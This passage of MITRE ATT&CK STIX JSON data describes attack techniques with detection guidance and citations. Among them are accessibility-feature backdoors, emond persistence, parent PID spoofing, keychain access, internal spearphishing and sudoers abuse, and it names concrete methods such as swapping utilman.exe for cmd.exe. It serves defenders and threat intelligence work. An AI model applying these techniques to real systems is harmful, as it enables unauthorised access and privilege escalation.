Center"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3","type":"attack-pattern","created":"2017-05-31T21:30:26.946Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1015","url":"https://attack.mitre.org/techniques/T1015"},{"external_id":"CAPEC-558","source_name":"capec","url":"https://capec.mitre.org/data/definitions/558.html"},{"url":"https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html","description":"Glyer, C., Kazanciyan, R. (2012, August 20). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.","source_name":"FireEye Hikit Rootkit"},{"url":"https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom","description":"Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.","source_name":"DEFCON2016 Sticky Keys"},{"url":"http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/","description":"Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.","source_name":"Tilbury 2014"}],"modified":"2020-05-13T20:37:30.008Z","name":"Accessibility Features","description":"Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are <code>C:\\Windows\\System32\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\Windows\\System32\\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n* On-Screen Keyboard: <code>C:\\Windows\\System32\\osk.exe</code>\n* Magnifier: <code>C:\\Windows\\System32\\Magnify.exe</code>\n* Narrator: <code>C:\\Windows\\System32\\Narrator.exe</code>\n* Display Switcher: <code>C:\\Windows\\System32\\DisplaySwitch.exe</code>\n* App Switcher: <code>C:\\Windows\\System32\\AtBroker.exe</code>","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options</code>.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator"],"x_mitre_effective_permissions":["SYSTEM"]},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["John Lambert, Microsoft Threat Intelligence Center"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1212","url":"https://attack.mitre.org/techniques/T1212"},{"url":"https://technet.microsoft.com/en-us/library/security/ms14-068.aspx","description":"Microsoft. (2014, November 18). Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780). Retrieved December 23, 2015.","source_name":"Technet MS14-068"},{"url":"https://adsecurity.org/?p=1515","description":"Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.","source_name":"ADSecurity Detecting Forged Tickets"}],"modified":"2020-03-25T18:51:01.070Z","name":"Exploitation for Credential Access","description":"Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ivan Sinyakov"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd","created":"2020-01-24T15:15:13.426Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1546.014","url":"https://attack.mitre.org/techniques/T1546/014"},{"source_name":"magnusviri emond Apr 2016","url":"http://www.magnusviri.com/Mac/what-is-emond.html","description":"Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019."},{"source_name":"xorrior emond Jan 2018","url":"https://www.xorrior.com/emond-persistence/","description":"Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019."},{"source_name":"sentinelone macos persist Jun 2019","url":"https://www.sentinelone.com/blog/how-malware-persists-on-macos/","description":"Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.","modified":"2022-04-20T00:16:01.732Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Emond","x_mitre_detection":"Monitor emond rules creation by checking for files created or modified in <code>/etc/emond.d/rules/</code> and <code>/private/var/db/emondClients</code>.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["File: File Modification","File: File Creation","Process: Process Creation","Command: Command Execution"],"x_mitre_system_requirements":[],"x_mitre_permissions_required":["Administrator"],"x_mitre_effective_permissions":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8","type":"attack-pattern","created":"2020-03-14T22:45:52.963Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1102.003","url":"https://attack.mitre.org/techniques/T1102/003"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-26T23:26:10.109Z","name":"One-Way Communication","description":"Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109","type":"attack-pattern","created":"2020-10-02T15:45:17.628Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1590","url":"https://attack.mitre.org/techniques/T1590"},{"source_name":"WHOIS","url":"https://www.whois.net/","description":"NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020."},{"source_name":"DNS Dumpster","url":"https://dnsdumpster.com/","description":"Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020."},{"source_name":"Circl Passive DNS","url":"https://www.circl.lu/services/passive-dns/","description":"CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:34:23.229Z","name":"Gather Victim Network Information","description":"Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["ExtraHop"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1210","url":"https://attack.mitre.org/techniques/T1210"},{"url":"https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/","description":"CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.","source_name":"CIS Multiple SMB Vulnerabilities"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2017-0176","description":"National Vulnerability Database. (2017, June 22). CVE-2017-0176 Detail. Retrieved April 3, 2018.","source_name":"NVD CVE-2017-0176"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2016-6662","description":"National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.","source_name":"NVD CVE-2016-6662"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2014-7169","description":"National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.","source_name":"NVD CVE-2014-7169"}],"modified":"2022-02-24T15:06:46.006Z","name":"Exploitation of Remote Services","description":"Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Discovery](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities,  or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services.(Citation: NVD CVE-2014-7169)\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of [Discovery](https://attack.mitre.org/tactics/TA0007), or other unusual network traffic that may indicate additional tools transferred to the system.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Application Log: Application Log Content"],"x_mitre_permissions_required":["User"],"x_mitre_system_requirements":["Unpatched software or otherwise vulnerable target. Depending on the target and goal, the system and exploitable service may need to be remotely accessible from the internal network."]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Wayne Silva, F-Secure Countercept"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--9ddc2534-e91c-4dab-a8f6-43dab81e8142","type":"attack-pattern","created":"2019-06-03T14:50:50.613Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1502","url":"https://attack.mitre.org/techniques/T1502"},{"description":"Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019.","url":"https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/","source_name":"DidierStevens SelectMyParent Nov 2009"},{"description":"Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019.","url":"https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works","source_name":"Microsoft UAC Nov 2018"},{"description":"Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019.","url":"https://www.countercept.com/blog/detecting-parent-pid-spoofing/","source_name":"CounterCept PPID Spoofing Dec 2018"},{"source_name":"CTD PPID Spoofing Macro Mar 2019","url":"https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/","description":"Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019."},{"description":"Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019.","url":"https://blog.xpnsec.com/becoming-system/","source_name":"XPNSec PPID Nov 2017"},{"source_name":"Microsoft Process Creation Flags May 2018","url":"https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags","description":"Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019."},{"source_name":"Secuirtyinbits Ataware3 May 2019","url":"https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3","description":"Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019."}],"modified":"2020-02-18T18:23:31.546Z","name":"Parent PID Spoofing","description":"Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1086)/[Rundll32](https://attack.mitre.org/techniques/T1085) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via VBA [Scripting](https://attack.mitre.org/techniques/T1064) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)","kill_chain_phases":[{"phase_name":"defense-evasion","kill_chain_name":"mitre-attack"},{"phase_name":"privilege-escalation","kill_chain_name":"mitre-attack"}],"x_mitre_detection":"Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\n\nMonitor and analyze API calls to <code>CreateProcess</code>/<code>CreateProcessA</code>, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of <code>CreateProcess</code>/<code>CreateProcessA</code> may also be proceeded by a call to <code>UpdateProcThreadAttribute</code>, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Host forensic analysis","Heuristic Detection"],"x_mitre_permissions_required":["User","Administrator"]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1142","url":"https://attack.mitre.org/techniques/T1142"},{"url":"https://en.wikipedia.org/wiki/Keychain_(software)","description":"Wikipedia. (n.d.). Keychain (software). Retrieved July 5, 2017.","source_name":"Wikipedia keychain"},{"url":"http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way","description":"Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.","source_name":"External to DA, the OS X Way"}],"modified":"2020-02-12T18:55:55.305Z","name":"Keychain","description":"Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in <code>~/Library/Keychains/</code>,<code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>. (Citation: Wikipedia keychain) The <code>security</code> command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Windows","macOS","Linux","Office 365","SaaS","Google Workspace"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Tim MalcomVetter","Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747","type":"attack-pattern","created":"2019-09-04T19:26:12.441Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1534","source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1534"},{"description":"Chris Taylor. (2017, October 5). When Phishing Starts from the Inside. Retrieved October 8, 2019.","url":"https://blog.trendmicro.com/phishing-starts-inside/","source_name":"Trend Micro When Phishing Starts from the Inside 2017"},{"description":"THE FINANCIAL TIMES. (2019, September 2). A sobering day. Retrieved October 8, 2019.","url":"https://labs.ft.com/2013/05/a-sobering-day/?mhq5j=e6","source_name":"THE FINANCIAL TIMES LTD 2019."}],"modified":"2022-03-08T21:29:30.249Z","name":"Internal Spearphishing","description":"Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged campaign where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017)\n\nAdversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces.\n\nThere have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the campaign and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Network intrusion detection systems and email gateways usually do not scan internal email, but an organization can leverage the journaling-based solution which sends a copy of emails to a security service for offline analysis or incorporate service-integrated solutions using on-premise or API-based integrations to help detect internal spearphishing campaigns.(Citation: Trend Micro When Phishing Starts from the Inside 2017)","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow","Application Log: Application Log Content"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1169","url":"https://attack.mitre.org/techniques/T1169"},{"url":"https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/","description":"Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.","source_name":"OSX.Dok Malware"}],"modified":"2020-02-05T20:11:12.593Z","name":"Sudo","description":"The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code> (Citation: OSX.Dok Malware). \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User"],"x_mitre_effective_permissions":["root"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Travis Smith, Tripwire","Stefan 